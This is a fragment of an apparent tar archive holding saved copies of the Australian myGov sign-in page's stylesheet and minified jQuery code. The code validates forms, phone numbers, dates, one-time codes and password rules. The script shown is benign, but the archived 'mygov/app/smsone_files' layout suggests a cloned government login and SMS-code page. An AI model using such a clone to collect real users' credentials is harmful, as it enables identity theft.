#999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/smsone_files/mgv2-application.js.download000064400000224023151676702570016516 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden 